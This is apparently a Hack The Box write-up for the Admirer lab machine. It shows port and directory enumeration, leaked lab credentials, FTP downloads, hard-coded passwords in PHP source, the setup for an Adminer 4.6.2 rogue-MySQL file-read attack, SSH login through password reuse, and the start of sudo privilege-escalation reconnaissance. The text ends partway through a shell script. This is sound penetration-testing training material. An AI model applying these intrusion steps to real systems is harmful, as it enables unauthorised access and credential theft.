Hack The Box: Admirer Write-up
Overview
This writeup documents the methods I used to compromise the Admirer machine on the Hack The Box internal Labs network, which included exploiting an LFI/RCE vulnerability in Adminer 4.6.2 and hijacking a Python import statement. Admirer was created by polarbearer and GibParadox, and it is an Easy rated Linux box that was worth 20 points while it was active.
Kill Chain
Enumeration
I began attacking this machine by kicking off an Nmap full TCP port scan of the box. This scan resulted in the discovery of three exposed services. FTP was detected on tcp/21, SSH on tcp/22, and HTTP on tcp/80.
I used the -vvflag to display more verbose output, --reason to display the reason a port is in a particular state, -Pn to skip the host discovery checks, -A to enable OS and version detection, --osscan-guess to to enable aggressive OS guessing, --version-all to try every single version probe, and -p- to scan the entire range of potential TCP ports.
I took note of the detected versions of each exposed service, that the SSH server allowed both public key and password authentication, and the directory path that was noted as disallowed as detected by the http-robots.txt module.
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up, received user-set (0.034s latency).
Scanned at 2020-07-07 22:03:24 EDT for 44s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII=
| 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 4.8 (94%), Linux 4.4 (94%), Linux 4.9 (94%), Linux 3.12 (93%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/7%OT=21%CT=1%CU=43291%PV=Y%DS=2%DC=T%G=Y%TM=5F052999
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=8)SEQ(
OS:SP=102%GCD=1%ISR=106%TI=Z%CI=Z%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 198.840 days (since Sun Dec 22 00:55:00 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 63.73 ms 10.10.14.1
2 63.74 ms 10.10.10.187
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 7 22:04:09 2020 -- 1 IP address (1 host up) scanned in 45.39 seconds
I was immediately intrigued by the /admin-dir/ directory path in the robots.txt file. Since any entry in this file is typically entered manually, I grabbed the file with curl in order to look at its full source. I used the -s flag to run curl in silent mode, -S to override silent mode if any errors occur, -i to include protocol response headers in the output, and -k to allow insecure server connections when using SSL. The robots.txt source ended up leaking the potential username 'waldo', as well as fully describing the high-value contents of /admin-dir/.
curl -sSik http://10.10.10.187:80/robots.txt -m 10 2>&1
HTTP/1.1 200 OK
Date: Wed, 08 Jul 2020 02:08:08 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Wed, 29 Apr 2020 09:22:10 GMT
ETag: "8a-5a46a7b96e300"
Accept-Ranges: bytes
Content-Length: 138
Vary: Accept-Encoding
Content-Type: text/plain
User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
Thanks to the context given by robots.txt, I decided to focus my enumeration on /admin-dir/. In order to gain some level of vision into the directory structure, I started a Wfuzz scan to fuzz the directory. I utilized the -c flag to force color output in my terminal, the first -z flag to specify the wordlist file used for the first FUZZ variable, the second -z flag to specify a list of file extensions used in the FUZ2Z variable, and the --hc 404 flag to tell wfuzz to treat a 404 response code as a non-successful return. This wfuzz scan resulted in the discovery of two files, contacts.txt and credentials.txt.
wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt -z list,-php-txt --hc 404 http://10.10.10.187/admin-dir/FUZZ.FUZ2Z
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.187/admin-dir/FUZZ.FUZ2Z
Total requests: 61407
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000043: 403 9 L 28 W 277 Ch ".htaccess"
000000044: 403 9 L 28 W 277 Ch ".htaccess - php"
000000045: 403 9 L 28 W 277 Ch ".htaccess - txt"
000000046: 403 9 L 28 W 277 Ch ".htpasswd"
000000047: 403 9 L 28 W 277 Ch ".htpasswd - php"
000000048: 403 9 L 28 W 277 Ch ".htpasswd - txt"
000015594: 200 29 L 39 W 350 Ch "contacts - txt"
000016329: 200 11 L 13 W 136 Ch "credentials - txt"
Total time: 133.9539
Processed Requests: 61407
Filtered Requests: 61399
Requests/sec.: 458.4188
I used curl to look at contacts.txt first. The leakage of username information provided by this file confirmed the syntax used for all of this enterprise's accounts.
curl -sSk http://10.10.10.187/admin-dir/contacts.txt
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
I took a look at the contents of credentials.txt next. This file leaked authentication credentials for multiple services. The one that jumped out to me the most was the FTP account credentials because of the exposed FTP service that I discovered earlier in the enumeration process.
curl -sSk http://10.10.10.187/admin-dir/credentials.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
FTP Server Compromise
Armed with what appeared to be valid FTP credentials, I attempted to log in to the FTP server on tcp/21. The discovered credentials were valid, and I was able to successfully authenticate and enumerate the FTP server contents. I then exfiltrated both discovered files in order to perform analysis on them locally.
ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x--- 2 0 111 4096 Dec 03 2019 .
drwxr-x--- 2 0 111 4096 Dec 03 2019 ..
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory sent OK.
get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (4.4120 MB/s)
get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 0.78 secs (6.4072 MB/s)
With the files on my local Kali machine, I previewed the dump.sql file with head. I took note of the database distribution being used and the Database name.
head dump.sql
-- MySQL dump 10.16 Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: admirerdb
-- ------------------------------------------------------
-- Server version 10.1.41-MariaDB-0+deb9u1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
The full file dump of dump.sql just looked like a dump of the sites images and captions.
cat dump.sql
-- MySQL dump 10.16 Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: admirerdb
-- ------------------------------------------------------
-- Server version 10.1.41-MariaDB-0+deb9u1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `items`
--
DROP TABLE IF EXISTS `items`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `items` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`thumb_path` text NOT NULL,
`image_path` text NOT NULL,
`title` text NOT NULL,
`text` text,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `items`
--
LOCK TABLES `items` WRITE;
/*!40000 ALTER TABLE `items` DISABLE KEYS */;
INSERT INTO `items` VALUES (1,'images/thumbs/thmb_art01.jpg','images/fulls/art01.jpg','Visual Art','A pure showcase of skill and emotion.'),(2,'images/thumbs/thmb_eng02.jpg','images/fulls/eng02.jpg','The Beauty and the Beast','Besides the technology, there is also the eye candy...'),(3,'images/thumbs/thmb_nat01.jpg','images/fulls/nat01.jpg','The uncontrollable lightshow','When the sun decides to play at night.'),(4,'images/thumbs/thmb_arch02.jpg','images/fulls/arch02.jpg','Nearly Monochromatic','One could simply spend hours looking at this indoor square.'),(5,'images/thumbs/thmb_mind01.jpg','images/fulls/mind01.jpg','Way ahead of his time','You probably still use some of his inventions... 500yrs later.'),(6,'images/thumbs/thmb_mus02.jpg','images/fulls/mus02.jpg','The outcomes of complexity','Seriously, listen to Dust in Interstellar\'s OST. Thank me later.'),(7,'images/thumbs/thmb_arch01.jpg','images/fulls/arch01.jpg','Back to basics','And centuries later, we want to go back and live in nature... Sort of.'),(8,'images/thumbs/thmb_mind02.jpg','images/fulls/mind02.jpg','We need him back','He might have been a loner who allegedly slept with a pigeon, but that brain...'),(9,'images/thumbs/thmb_eng01.jpg','images/fulls/eng01.jpg','In the name of Science','Some theories need to be proven.'),(10,'images/thumbs/thmb_mus01.jpg','images/fulls/mus01.jpg','Equal Temperament','Because without him, music would not exist (as we know it today).');
/*!40000 ALTER TABLE `items` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2019-12-02 20:24:15
Before I could take a look at the contents of the tarball I had to decompress it. The only differences between the html backup tarball and the production site were the substitution of w4ld0s_s3cr3t_d1r/ for admin-dir/ and the presence of utility-scripts/.
tar -xkvf html.tar.gz --directory ./html
x assets/
x assets/sass/
x assets/sass/base/
x assets/sass/base/_reset.scss
x assets/sass/base/_typography.scss
x assets/sass/base/_page.scss
x assets/sass/main.scss
x assets/sass/noscript.scss
x assets/sass/layout/
x assets/sass/layout/_main.scss
x assets/sass/layout/_footer.scss
x assets/sass/layout/_header.scss
x assets/sass/layout/_wrapper.scss
x assets/sass/components/
x assets/sass/components/_actions.scss
x assets/sass/components/_form.scss
x assets/sass/components/_icon.scss
x assets/sass/components/_list.scss
x assets/sass/components/_poptrox-popup.scss
x assets/sass/components/_button.scss
x assets/sass/components/_icons.scss
x assets/sass/components/_table.scss
x assets/sass/components/_panel.scss
x assets/sass/libs/
x assets/sass/libs/_functions.scss
x assets/sass/libs/_vendor.scss
x assets/sass/libs/_mixins.scss
x assets/sass/libs/_breakpoints.scss
x assets/sass/libs/_vars.scss
x assets/js/
x assets/js/browser.min.js
x assets/js/util.js
x assets/js/breakpoints.min.js
x assets/js/main.js
x assets/js/jquery.min.js
x assets/js/jquery.poptrox.min.js
x assets/css/
x assets/css/main.css
x assets/css/images/
x assets/css/images/close.svg
x assets/css/images/arrow.svg
x assets/css/images/spinner.svg
x assets/css/noscript.css
x assets/css/fontawesome-all.min.css
x assets/webfonts/
x assets/webfonts/fa-brands-400.svg
x assets/webfonts/fa-solid-900.eot
x assets/webfonts/fa-brands-400.eot
x assets/webfonts/fa-brands-400.ttf
x assets/webfonts/fa-regular-400.woff
x assets/webfonts/fa-regular-400.woff2
x assets/webfonts/fa-regular-400.ttf
x assets/webfonts/fa-regular-400.eot
x assets/webfonts/fa-solid-900.svg
x assets/webfonts/fa-brands-400.woff
x assets/webfonts/fa-solid-900.woff
x assets/webfonts/fa-solid-900.woff2
x assets/webfonts/fa-brands-400.woff2
x assets/webfonts/fa-regular-400.svg
x assets/webfonts/fa-solid-900.ttf
x images/
x images/thumbs/
x images/thumbs/thmb_arch02.jpg
x images/thumbs/thmb_mind01.jpg
x images/thumbs/thmb_nat02.jpg
x images/thumbs/thmb_art02.jpg
x images/thumbs/thmb_mus01.jpg
x images/thumbs/thmb_nat01.jpg
x images/thumbs/thmb_mus02.jpg
x images/thumbs/thmb_eng02.jpg
x images/thumbs/thmb_art01.jpg
x images/thumbs/thmb_mind02.jpg
x images/thumbs/thmb_eng01.jpg
x images/thumbs/thmb_arch01.jpg
x images/fulls/
x images/fulls/mind02.jpg
x images/fulls/mus01.jpg
x images/fulls/eng01.jpg
x images/fulls/art02.jpg
x images/fulls/mus02.jpg
x images/fulls/nat01.jpg
x images/fulls/arch01.jpg
x images/fulls/mind01.jpg
x images/fulls/arch02.jpg
x images/fulls/art01.jpg
x images/fulls/nat02.jpg
x images/fulls/eng02.jpg
x index.php
x robots.txt
x utility-scripts/
x utility-scripts/phptest.php
x utility-scripts/info.php
x utility-scripts/db_admin.php
x utility-scripts/admin_tasks.php
x w4ld0s_s3cr3t_d1r/
x w4ld0s_s3cr3t_d1r/credentials.txt
x w4ld0s_s3cr3t_d1r/contacts.txt
In order to confirm the presence of the tools located within utility-scripts/, I added each file name into a file named 'ut-scripts.txt' and fed that list to wfuzz. Only three of the tools appeared to be present on the production web server.
wfuzz -c -z file,ut-scripts.txt -z list,-php-txt --hc 404,403 http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z
Total requests: 27
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000008: 200 23 L 56 W 639 Ch "admin_tasks - php"
000000023: 200 0 L 8 W 32 Ch "phptest - php"
000000020: 200 964 L 4976 W 84022 Ch "info - php"
Total time: 0.139226
Processed Requests: 27
Filtered Requests: 24
Requests/sec.: 193.9283
The first PHP source code I looked at was admin_tasks.php, however this file looked to be pretty well sanitized. The code forced me to select pre-defined options from a drop-down menu, it would not allow me to POST my own commands.
<?php
// Web Interface to the admin_tasks script
//
if(isset($_REQUEST['task']))
{
$task = $_REQUEST['task'];
if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
$task == '5' || $task == '6' || $task == '7')
{
/***********************************************************************************
Available options:
1) View system uptime
2) View logged in users
3) View crontab (current user only)
4) Backup passwd file (not working)
5) Backup shadow file (not working)
6) Backup web data (not working)
7) Backup database (not working)
NOTE: Options 4-7 are currently NOT working because they need root privileges.
I'm leaving them in the valid tasks in case I figure out a way
to securely run code as root from a PHP page.
************************************************************************************/
echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
}
else
{
echo("Invalid task.");
}
}
?>
The next PHP source code I looked at was the db_admin.php code, where I discovered hard-coded authentication credentials for user waldo.
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative
?>
I attempted to SSH in to the target host with the authentication credentials for user waldo but was unsuccesful. Based on the TODO comment at the end of the db_admin.php file, I hypothesized that the functionality provided by db_admin.php may have already been replaced by another tool in the production site. In order to test this hypothesis I ran wfuzz against the production utility-scripts/ directory. This resulted in the discovery of the file adminer.php.
wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt -z list,-php-txt --hc 404,403 http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z
Total requests: 61410
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000005618: 200 51 L 235 W 4156 Ch "adminer - php"
000028853: 200 964 L 4976 W 84023 Ch "info - php"
000041597: 200 0 L 8 W 32 Ch "phptest - php"
Total time: 134.0375
Processed Requests: 61410
Filtered Requests: 61401
Requests/sec.: 458.1550
Next I took a look at the source code of adminer.php. The code was clearly not a static page.
curl -sSk http://10.10.10.187/utility-scripts/adminer.php
<!DOCTYPE html>
<html lang="en" dir="ltr">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="robots" content="noindex">
<title>Login - Adminer</title>
<link rel="stylesheet" type="text/css" href="adminer.php?file=default.css&version=4.6.2">
<script src='adminer.php?file=functions.js&version=4.6.2' nonce="YjAwNzVmMTJmMWNiNWQwZTEyM2M5NjMzZDQzZDFiNjc="></script>
<link rel="shortcut icon" type="image/x-icon" href="adminer.php?file=favicon.ico&version=4.6.2">
<link rel="apple-touch-icon" href="adminer.php?file=favicon.ico&version=4.6.2">
<body class="ltr nojs">
<script nonce="YjAwNzVmMTJmMWNiNWQwZTEyM2M5NjMzZDQzZDFiNjc=">
mixin(document.body, {onkeydown: bodyKeydown, onclick: bodyClick, onload: partial(verifyVersion, '4.6.2', 'adminer.php?', '78517:544036')});
document.body.className = document.body.className.replace(/ nojs/, ' js');
var offlineMessage = 'You are offline.';
var thousandsSeparator = ',';
</script>
<div id="help" class="jush-sql jsonly hidden"></div>
<script nonce="YjAwNzVmMTJmMWNiNWQwZTEyM2M5NjMzZDQzZDFiNjc=">mixin(qs('#help'), {onmouseover: function () { helpOpen = 1; }, onmouseout: helpMouseout});</script>
<div id="content">
<h2>Login</h2>
<div id='ajaxstatus' class='jsonly hidden'></div>
<form action='' method='post'>
<div></div>
<table cellspacing="0">
<tr><th>System<td><select name='auth[driver]'><option value="server" selected>MySQL<option value="sqlite">SQLite 3<option value="sqlite2">SQLite 2<option value="pgsql">PostgreSQL<option value="oracle">Oracle (beta)<option value="mssql">MS SQL (beta)<option value="firebird">Firebird (alpha)<option value="simpledb">SimpleDB<option value="mongo">MongoDB<option value="elastic">Elasticsearch (beta)</select>
<tr><th>Server<td><input name="auth[server]" value="" title="hostname[:port]" placeholder="localhost" autocapitalize="off">
<tr><th>Username<td><input name="auth[username]" id="username" value="" autocapitalize="off">
<tr><th>Password<td><input type="password" name="auth[password]">
<tr><th>Database<td><input name="auth[db]" value="" autocapitalize="off">
</table>
<script nonce="YjAwNzVmMTJmMWNiNWQwZTEyM2M5NjMzZDQzZDFiNjc=">focus(qs('#username'));</script>
<p><input type='submit' value='Login'>
<label><input type='checkbox' name='auth[permanent]' value='1'>Permanent login</label>
</form>
</div>
<form action='' method='post'>
<div id='lang'>Language: <select name='lang'><option value="en" selected>English<option value="ar">العربية<option value="bg">Български<option value="bn">বাংলা<option value="bs">Bosanski<option value="ca">Català<option value="cs">Čeština<option value="da">Dansk<option value="de">Deutsch<option value="el">Ελληνικά<option value="es">Español<option value="et">Eesti<option value="fa">فارسی<option value="fi">Suomi<option value="fr">Français<option value="gl">Galego<option value="he">עברית<option value="hu">Magyar<option value="id">Bahasa Indonesia<option value="it">Italiano<option value="ja">日本語<option value="ko">한국어<option value="lt">Lietuvių<option value="ms">Bahasa Mel<option value="nl">Nederlands<option value="no">Norsk<option value="pl">Polski<option value="pt">Português<option value="pt-br">Português (Brazil)<option value="ro">Limba Română<option value="ru">Русский<option value="sk">Slovenčina<option value="sl">Slovenski<option value="sr">Српски<option value="ta">தமிழ்<option value="th">ภาษาไทย<option value="tr">Türkçe<option value="uk">Українська<option value="vi">Tiếng Việt<option value="zh">简体中文<option value="zh-tw">繁體中文</select><script nonce="YjAwNzVmMTJmMWNiNWQwZTEyM2M5NjMzZDQzZDFiNjc=elect').onchange = function () { this.form.submit(); };</script> <input type='submit' value='Use' class='hidden'>
<input type='hidden' name='token' value='461255:947798'>
</div>
</form>
<div id="menu">
<h1>
<a href='https://www.adminer.org/' target="_blank" rel="noreferrer noopener" id='h1'>Adminer</a> <span class="version">4.6.2</span>
<a href="https://www.adminer.org/#download" target="_blank" rel="noreferrer noopener" id="version"></a>
</h1>
</div>
<script nonce="YjAwNzVmMTJmMWNiNWQwZTEyM2M5NjMzZDQzZDFiNjc=">setupSubmitHighlight(document);</script>
I navigated directly to the page in my browser and discovered that the page was a login portal. I attempted to authenticate with the credentials harvested from db_admin.php but was unsuccessful.
Adminer Exploitation
Since none of the passwords I had harvested previously worked to authenticate to the Adminer portal, I decided to start searching for application vulnerabilities. The running version of 4.6.2 was leaked through the footer of the authentication portal. I was unable to find any relevant vulnerabilities in Exploit-DB using searchsploit, so I turned to Google where I was able to find a few results that detailed a file disclosure/password leakage vulnerability. The most helpful resource to me while replicating this exploit was the video embedded in this Foregenix blog post.
In order to successfully replicate this attack I needed to deploy a controlled MySQL server on my local Kali host. This is because the exploit depends on the target Adminer instance connecting to an attacker-controlled remote MySQL server in order to configure and trigger the malicious local file inclusion payload.
Before standing up a MariaDB server instance on my Kali machine I had to update the bind address in the MariaDB configuration file.
cat /etc/mysql/mariadb.conf.d/50-server.cnf
...
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
#bind-address = 127.0.0.1
bind-address = 10.10.14.36
...
Then I started the MariaDB service and verified its listening interface.
systemctl start mariadb.service && netstat -antup | grep mysqld
tcp 0 0 10.10.14.36:3306 0.0.0.0:* LISTEN 17421/mysqld
With that verified, I then dropped in to the MariaDB shell in order to create a user for this exploit. I created the user 'joey' and gave them permission to log in with all privileges from any IP in the 10.0.0.0/8 CIDR range. This took me a few attempts to get ironed out completely since I didn't have any experience with administering MariaDB. First I created the user without specifying an approved remote logon IP range, then after successfully authenticating realized I couldn't perform any actions as user joey because I had failed to define any privileges.
mysql
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 49
Server version: 10.3.24-MariaDB-2 Debian buildd-unstable
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
grant all privileges on *.* to 'joey'@'10.%.%.%'
-> identified by 'joey' with grant option;
Query OK, 0 rows affected (0.000 sec)
After creating the user with the appropriate configurations, I was able to successfully authenticate to the MariaDB server on my local Kali host from the Adminer instance running on the target host.
At this point I was ready to begin replicating the LFI exploit. I navigated to the SQL command module within Adminer and created a new database named 'exploit' and switched context into it.
Then I used the Create table tool in Adminer to create a new table named 'dump'.
With the database table prepared, I switched back to the SQL command window of Adminer and sent the LFI payload command. Since I wanted to demonstrate proof of concept without running in to any errors thrown by attempting to access non-readable or non-existent files, I attempted to dump the contents of the index.php file located in the web root first.
I verified the file contents were dumped correctly by issuing a 'SELECT *' statement.
Since any code withing PHP tags will execute server-side, I had been unable to fully review the index.php source code until now. While reviewing the dump, I located another set of hardcoded adminerdb credentials for user waldo.
Since my initial enumeration had detected password authentication was enabled to the open SSH service on tcp/22, I tested for password re-use by use waldo. The harvested credentials did successfully authenticate an SSH session.
ssh-pw waldo@10.10.10.187
waldo@10.10.10.187's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Jul 10 12:42:49 2020 from 10.10.14.44
Escalation of Privilege
Taking advantage of my multiplexed SSH sessions, I copied the linpeas.sh enumeration script to /dev/shm/ on the target host, then ran it. The first thing I noticed while reviewing the script output was that user waldo was a member of the group admins.
The next thing that I noticed was that there were two files, a Python script and a text file, that were owned by root but readable to me while in the context of user waldo.
Since there were files owned by root but also associated with my current user context, I listed the sudo privileges of user waldo.
sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
The results showed that user waldo could run a shell script with sudo. Following up on this information, I checked the permissions of the shell script file.
ls -la /opt/scripts/admin_tasks.sh
-rwx-r-xr-x 1 root admins 2613 Dec 2 2019 /opt/scripts/admin_tasks.sh
Unfortunately I was unable to write to the file for the most direct privilege escalation route. Instead I inspected the script source code to determine its functionality.
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
